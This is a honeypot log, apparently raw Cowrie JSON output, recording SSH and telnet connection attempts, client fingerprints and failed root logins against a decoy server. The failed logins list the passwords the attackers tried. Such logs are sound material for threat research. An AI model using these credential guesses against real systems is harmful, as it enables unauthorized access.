{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:1b:7e:f3:ea:d9:7a:01:3b:a3:14:91:b3:54:b1:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/26fgqq4hfFeLU82jvrNmNWW0XXzYtxGFyq/BklolKVKTW7NjEkOLSRSc/DiIZNZgOL0K1Fkn7v/bUFlYb4XpUrx8LNOgADJBTqQd84EtlEwxTjsz9LBiKd8wrQPGdVbyV8xyV7oTX69fXv60Tr2JoR4l1wkKzocU5vjAZTb9eEns7jgmWQCGNfww5J1htKFiWQcZDCAlAqJ+sAysqlZ5Rl4iKJ9zN8A2bxvacD6ilK/dCaBlu5lUl44EOW3KNY38TMMDh2KyM9D1QGIsdgQsb08ncifkShD4RoCO30RvZ4bQO4sql4O5PrOI0zcN7kWL/jLCANyiE+0q5XRVoFla/Cv+03yQ5Mk2bYbnJuojMjrYSeox84EXofAEsDVkczbM7QuT/3E6n+jfQzkC1Si++/BynlrhZ808tePTD89GIhCe/M0eCd//+j9UpU0TMEnYa3rgp54ffcyJql7r+9ZvMj4LZW6MES3MHoGF+mK2U4LEeWyN6pZpyvMY5GquLiVjd8vGYl9YfaxHII3nk9D0iFmeqKsa1KeJ30zDVXrW3IF2iJfXz8nz/silYTn9PGIwm2hJpTcnrx9EXl+0tul2JYYej8lhwJdMXnV2fz6kJzgbCIul/Y+LaCNUAN2lgPyRQad6ng9Ic8ZbUTjylJEihQ4TbfnfRUQB4ztBiyXVZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.451128Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.528017Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44730,"dst_ip":"10.17.0.5","dst_port":23,"session":"4911030b435c","protocol":"telnet","message":"New connection: 152.42.224.71:44730 (10.17.0.5:23) [session: 4911030b435c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:44.892734Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":47870,"dst_ip":"10.17.0.5","dst_port":22,"session":"86466cc30e43","protocol":"ssh","message":"New connection: 43.245.98.60:47870 (10.17.0.5:22) [session: 86466cc30e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:48.134417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:48.142534Z","src_ip":"43.245.98.60","session":"86466cc30e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:48.379580Z","src_ip":"43.245.98.60","session":"86466cc30e43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:49.362498Z","src_ip":"43.245.98.60","session":"86466cc30e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:50.603821Z","src_ip":"43.245.98.60","session":"86466cc30e43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.81050682067871,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:55.600951Z","src_ip":"152.42.224.71","session":"51e63b65a0bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52296,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dc837120264","protocol":"telnet","message":"New connection: 152.42.224.71:52296 (10.17.0.5:23) [session: 2dc837120264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:59.416919Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52306,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ec7ac54086","protocol":"telnet","message":"New connection: 152.42.224.71:52306 (10.17.0.5:23) [session: 58ec7ac54086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:03.190862Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6597a172fd6","protocol":"telnet","message":"New connection: 152.42.224.71:52314 (10.17.0.5:23) [session: d6597a172fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:03.261981Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52316,"dst_ip":"10.17.0.5","dst_port":23,"session":"c58b5587497e","protocol":"telnet","message":"New connection: 152.42.224.71:52316 (10.17.0.5:23) [session: c58b5587497e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:04.180737Z"}
{"eventid":"cowrie.session.closed","duration":50.64642095565796,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:08.746445Z","src_ip":"152.42.224.71","session":"fa3ffb2eb26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51828,"dst_ip":"10.17.0.5","dst_port":23,"session":"e882444a5e21","protocol":"telnet","message":"New connection: 152.42.224.71:51828 (10.17.0.5:23) [session: e882444a5e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:09.002162Z"}
{"eventid":"cowrie.session.closed","duration":53.93816661834717,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:12.934625Z","src_ip":"134.209.74.135","session":"8c1075336849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ce2bf3d95c6","protocol":"telnet","message":"New connection: 152.42.224.71:51842 (10.17.0.5:23) [session: 1ce2bf3d95c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:15.771857Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":57628,"dst_ip":"10.17.0.5","dst_port":22,"session":"58cf92ed6e0d","protocol":"ssh","message":"New connection: 124.109.2.211:57628 (10.17.0.5:22) [session: 58cf92ed6e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:19.074586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:19.077897Z","src_ip":"124.109.2.211","session":"58cf92ed6e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:19.341639Z","src_ip":"124.109.2.211","session":"58cf92ed6e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56450,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e0096e276ed","protocol":"telnet","message":"New connection: 152.42.224.71:56450 (10.17.0.5:23) [session: 0e0096e276ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:19.962865Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"guitar","message":"login attempt [root/guitar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:20.375503Z","src_ip":"124.109.2.211","session":"58cf92ed6e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56454,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d971d0e4bb","protocol":"telnet","message":"New connection: 152.42.224.71:56454 (10.17.0.5:23) [session: 61d971d0e4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:20.805281Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:21.746034Z","src_ip":"124.109.2.211","session":"58cf92ed6e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":59454,"dst_ip":"10.17.0.5","dst_port":22,"session":"886a24afd6e4","protocol":"ssh","message":"New connection: 43.133.148.170:59454 (10.17.0.5:22) [session: 886a24afd6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:22.399440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:22.403215Z","src_ip":"43.133.148.170","session":"886a24afd6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:22.654247Z","src_ip":"43.133.148.170","session":"886a24afd6e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Runner","message":"login attempt [root/Runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:23.705571Z","src_ip":"43.133.148.170","session":"886a24afd6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.64923882484436,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:23.930972Z","src_ip":"152.42.224.71","session":"b6dece60ca7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:24.959466Z","src_ip":"43.133.148.170","session":"886a24afd6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.88922619819641,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:26.069861Z","src_ip":"152.42.224.71","session":"c58b5587497e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43362,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59074403e31","protocol":"telnet","message":"New connection: 152.42.224.71:43362 (10.17.0.5:23) [session: a59074403e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:29.477382Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.176.128.4","src_port":59895,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e97c7bf552","protocol":"telnet","message":"New connection: 180.176.128.4:59895 (159.203.135.109:23) [session: 12e97c7bf552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:30.208513Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43364,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c4ace37f5e","protocol":"telnet","message":"New connection: 152.42.224.71:43364 (10.17.0.5:23) [session: 00c4ace37f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:31.065041Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43378,"dst_ip":"10.17.0.5","dst_port":23,"session":"5365d7f10137","protocol":"telnet","message":"New connection: 152.42.224.71:43378 (10.17.0.5:23) [session: 5365d7f10137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:31.215252Z"}
{"eventid":"cowrie.session.closed","duration":32.83445596694946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:32.251246Z","src_ip":"152.42.224.71","session":"2dc837120264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.70028567314148,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:34.592902Z","src_ip":"152.42.224.71","session":"4911030b435c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a9a99cacf6e","protocol":"telnet","message":"New connection: 152.42.224.71:43386 (10.17.0.5:23) [session: 0a9a99cacf6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:35.351878Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42316,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb9850de1d3a","protocol":"telnet","message":"New connection: 152.42.224.71:42316 (10.17.0.5:23) [session: fb9850de1d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:37.769483Z"}
{"eventid":"cowrie.session.closed","duration":61.36416482925415,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:41.099919Z","src_ip":"152.42.224.71","session":"a5a762e296cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.74222469329834,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:42.950581Z","src_ip":"180.176.128.4","session":"12e97c7bf552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.804432153701782,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:44.573771Z","src_ip":"152.42.224.71","session":"fb9850de1d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36844,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fa55ed7d6ff","protocol":"ssh","message":"New connection: 103.82.132.16:36844 (10.17.0.5:22) [session: 7fa55ed7d6ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:53.836899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:53.840001Z","src_ip":"103.82.132.16","session":"7fa55ed7d6ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.106893Z","src_ip":"103.82.132.16","session":"7fa55ed7d6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00144553184509,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.307580Z","src_ip":"152.42.224.71","session":"e0815669b5f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":39370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bac7787bcfa","protocol":"ssh","message":"New connection: 38.93.206.2:39370 (10.17.0.5:22) [session: 0bac7787bcfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.716963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.721542Z","src_ip":"38.93.206.2","session":"0bac7787bcfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.797199Z","src_ip":"38.93.206.2","session":"0bac7787bcfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfg123","message":"login attempt [root/asdfg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.906562Z","src_ip":"103.82.132.16","session":"7fa55ed7d6ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cheese","message":"login attempt [root/cheese] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:54.953967Z","src_ip":"38.93.206.2","session":"0bac7787bcfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:56.006957Z","src_ip":"38.93.206.2","session":"0bac7787bcfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:56.176790Z","src_ip":"103.82.132.16","session":"7fa55ed7d6ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.84588885307312,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:58.036645Z","src_ip":"152.42.224.71","session":"58ec7ac54086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.075693130493164,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:21:59.038447Z","src_ip":"152.42.224.71","session":"0e0096e276ed","protocol":"telnet"}
